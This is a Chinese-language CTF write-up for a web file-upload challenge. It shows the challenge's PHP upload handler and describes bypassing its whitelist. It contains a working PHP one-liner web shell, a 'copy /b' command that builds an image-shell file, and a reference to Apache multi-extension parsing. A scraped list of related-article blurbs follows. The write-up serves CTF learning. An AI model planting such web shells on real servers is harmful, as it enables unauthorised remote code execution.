i春秋-CTF-web文件上传
前言
本来吧,悄悄摸鱼,想整点啥打发时间,看视频太明显,于是做做题,眉头紧锁,仔细思考,装作工作很难的样子。
这回选择web类型的题目,主要是好久没做了,手有点生,找个简单的文件上传练练。
打开题目环境发现:
好像是没有什么特别的。
但是往下翻看却是别有洞天。
众所周知,php是后端语言,正常情况下前端是看不到的,也就是说,出题人还是很贴心的(虽然我觉得出题人没那么好心)。
<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');if(!$_FILES){echo '<!DOCTYPE html>
<html lang="zh">
<head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta http-equiv="X-UA-Compatible" content="ie=edge" /><title>文件上传章节练习题</title><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"><style type="text/css">.login-box{margin-top: 100px;height: 500px;border: 1px solid #000;}body{background: white;}.btn1{width: 200px;}.d1{display: block;height: 400px;}</style>
</head>
<body><div class="container"><div class="login-box col-md-12"><form class="form-horizontal" method="post" enctype="multipart/form-data" ><h1>文件上传章节练习题</h1><hr /><div class="form-group"><label class="col-sm-2 control-label">选择文件:</label><div class="input-group col-sm-10"><div ><label for=""><input type="file" name="file" /></label></div></div></div><div class="col-sm-8 text-right"><input type="submit" class="btn btn-success text-right btn1" /></div></form></div></div>
</body>
</html>
';show_source(__FILE__);
}else{$file = $_FILES['file'];if(!$file){exit("请勿上传空文件");}$name = $file['name'];$dir = 'upload/';$ext = strtolower(substr(strrchr($name, '.'), 1));$path = $dir.$name;function check_dir($dir){$handle = opendir($dir);while(($f = readdir($handle)) !== false){if(!in_array($f, array('.', '..'))){if(is_dir($dir.$f)){check_dir($dir.$f.'/');}else{$ext = strtolower(substr(strrchr($f, '.'), 1));if(!in_array($ext, array('jpg', 'gif', 'png'))){unlink($dir.$f);}}}}}if(!is_dir($dir)){mkdir($dir);}$temp_dir = $dir.md5(time(). rand(1000,9999));if(!is_dir($temp_dir)){mkdir($temp_dir);}if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){if($ext == 'zip'){$archive = new PclZip($file['tmp_name']);foreach($archive->listContent() as $value){$filename = $value["filename"];if(preg_match('/\.php$/', $filename)){exit("压缩包内不允许含有php文件!");}}if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {check_dir($dir);exit("解压失败");}check_dir($dir);exit('上传成功!');}else{move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);check_dir($dir);exit('上传成功!');}}else{exit('仅允许上传zip、jpg、gif、png文件!');}
}
既然有代码,自然要好好的研究一番,譬如,上传文件不能为空(这不废话吗?)。通过后续代码可知该上传采用的是白名单的过虑形式,且仅接受“.zip;.jpg;.gif;.png”格式的文件。上传文件的路径为"/upload",上传后的文件名采用“时间+随机数”的方式进行的。
因此,尝试着访问了一下upload页面:
呃。。。404???莫不是没上传就没有创建目录?
彳亍口八!
那就先上传一个图片试试。
果然。。。
既然文件目录已经存在了,现在就要思考文件上传漏洞的“各种绕过姿势”——后缀名、上传类型、%00截断等。
于是打开“吃饭神器”,啊不,抓包神器——BURPSUITE。对上传界面进行抓包,发送到repeater里面(主要是懒得总抓包)。
正片开始
首先写个php一句话:
<?php @Eval($_POST['shell']);?>
再用mspaint画个简单的图片。
用copy命令做个图片马。
copy pic.gif /b + shell.php /a picshell
上传,抓包,访问,呃。。。怎么没解析?
于是只好盯着Apache发呆,等等!Apache有个文件名后缀来着???
重新上传,抓包,访问,搞定!
后记:
虽然拿到了FLAG,但是为什么蚁剑连接不上呢????
i春秋-CTF-web文件上传相关推荐
- WEB文件上传之JQuery ajaxfileupload插件使用(二)
1.JQuery ajaxfileupload插件使用准备 下载地址: http://www.phpletter.com/DOWNLOAD/ 2.原理分析 ajaxfileupload也是利用ifra ...
- web文件上传(一)--文件上传与json上传区别及方法
Web文件上传方法总结大全 上传文件与与上传数据区别 上传数据主要指json等简单字符串,上传文件指的是上传word.excel图片等.在上传数据的时候enctype默认为第一个application ...
- web文件上传-0x00漏洞
文件上传-0x00漏洞 题目:2016全国大学生信息安全竞赛-web文件上传 原理 0x00漏洞:也称为%00阻断漏洞,0x00漏洞常见于Apache服务器后缀名称解析漏洞,不管文件最后后缀为什么,只 ...
- java web文件上传所需要的commons-fileupload和 commons-io jar包
文章目录 一.官网获取 二.百度网盘分享 三.分享与热爱 一.官网获取 学习java web文件上传时需要用到两个必备的jar包: commons-fileupload commons-io jar ...
- java web 上传附件_JAVA WEB文件上传步骤
JAVA WEB文件上传步骤如下: 实现 Web 开发中的文件上传功能,两个操作:在 Web 页面添加上传输入项,在 Servlet 中读取上传文件的数据并保存在本地硬盘中. 1.Web 端上传文件. ...
- web文件上传下载原理浅析
一.web文件上传浅析 现在有很多Web程序都有上传功能,实现上传功能的组件或框架也很多,如基于java的Commons FileUpload.还有Struts1.x和Struts2中带的上传文件功能 ...
- 河南省网络安全高校战队联盟CTF训练营-web文件上传第一期
文件上传 个人介绍 姓名:飞羽 CTF菜菜一枚 例题来源 ctfhub:https://www.ctfhub.com pwnthebox:https://insider.pwnthebox.com c ...
- SpringMVC整合fastdfs-client-java实现web文件上传下载
为什么80%的码农都做不了架构师?>>> 版权声明:本文为博主原创文章,转载请标明出处(http://blog.csdn.net/wlwlwlwl015)Thanks. 目录( ...
- java图片上传下载_java web 文件上传与下载
组件工作流程:WEB服务器request ServletFil eupLoad DiskFileItem Factory代表普通字段的FileItem代表上传文件1FileItem代表上传文件2Fil ...
- Web文件上传方法总结大全
文件上传在WEB开发中应用很广泛,我们经常发微博.发微信朋友圈都用到了图片上传功能. 文件上传是指将本地图片.视频.音频等文件上传到服务器上,可以供其他用户浏览或下载的过程. 今天我给大家聊聊常见的文 ...
最新文章
- C语言的数顺序输出与反序输出_只愿与一人十指紧扣_新浪博客
- 基于PSR-0编码规范开发一套PHP-MVC框架(一)
- 远程无法连接svn服务器失败_windows vscode 远程连接linux服务器
- ubuntu 安装 OpenCV-CUDA
- Linux cJSON库的使用、编译为cJSON动态库
- HTML+CSS+JS实现 ❤️圆形倒数秒计时器❤️
- BZOJ 1031: [JSOI2007]字符加密Cipher( 后缀数组 )
- Java中Spring中的方法加上try catch后事务管理器失效无法回滚的情况
- 兼容多种模块规范(AMD,CMD,Node)的代码
- Linux firewall防火墙详解(二)——firewall配置
- 数据仓库与数据挖掘(二)
- 小米air如何装linux双系统,小米笔记本安装Win10+Ubuntu16.04 LTS 双系统
- 华为无线网卡无服务器,联通华为无线上网卡连接时连接被终止解决方法 - 小众知识...
- python基础入门
- java的inputbox,解释InputBox函数(输入函数)的用途
- android 百度地图 itemizedoverlay,[008] 百度地图API之ItemizedOverlay的使用(Android)
- 向量旋转(或矢量旋转或坐标轴旋转)后xy坐标重定位(vivado+cordic ip核+matlab) - 适用于数学爱好者
- ubuntu apt-get常见错误
- javascript字符串方法indexOf、lastIndexOf 方法的使用
- 魏文王问扁鹊的注释_魏文王问扁鹊 魏文王问扁鹊:“子昆弟三人其孰最善为医?” 扁...
热门文章
- arn-linux-gcc编译失败,arm-linux-gnueabihf-gcc交叉编译可执行程序失败的一种处理办法...
- c语言红酒编程题,C笔试题练习 - linbo5411的个人空间 - OSCHINA - 中文开源技术交流社区...
- 【paddlepaddle安装报错系列】Installing collected packages :OpenCV-python ERROR :After october 2020 you…
- 基于Spark的电商用户行为分析系统的设计与实现
- Hibernate中@Embedded和@Embeddable注解的使用
- Python中循环题目二的练习(for、while、if)
- NLP-信息抽取-三元组-联合抽取-多任务学习-2019:CasRel【关系三元组抽取:一种新的级联二元标注框架】【没用CRF】【基于Lic2019比赛】【数据集:NYT、WebNLG】
- MVP释义:做最小可行产品
- Node-RED使用指南:7:配置与设定总结:其他配置
- 人人商城php环境,关于微擎人人商城互动直播通信服务安装和启动教程记录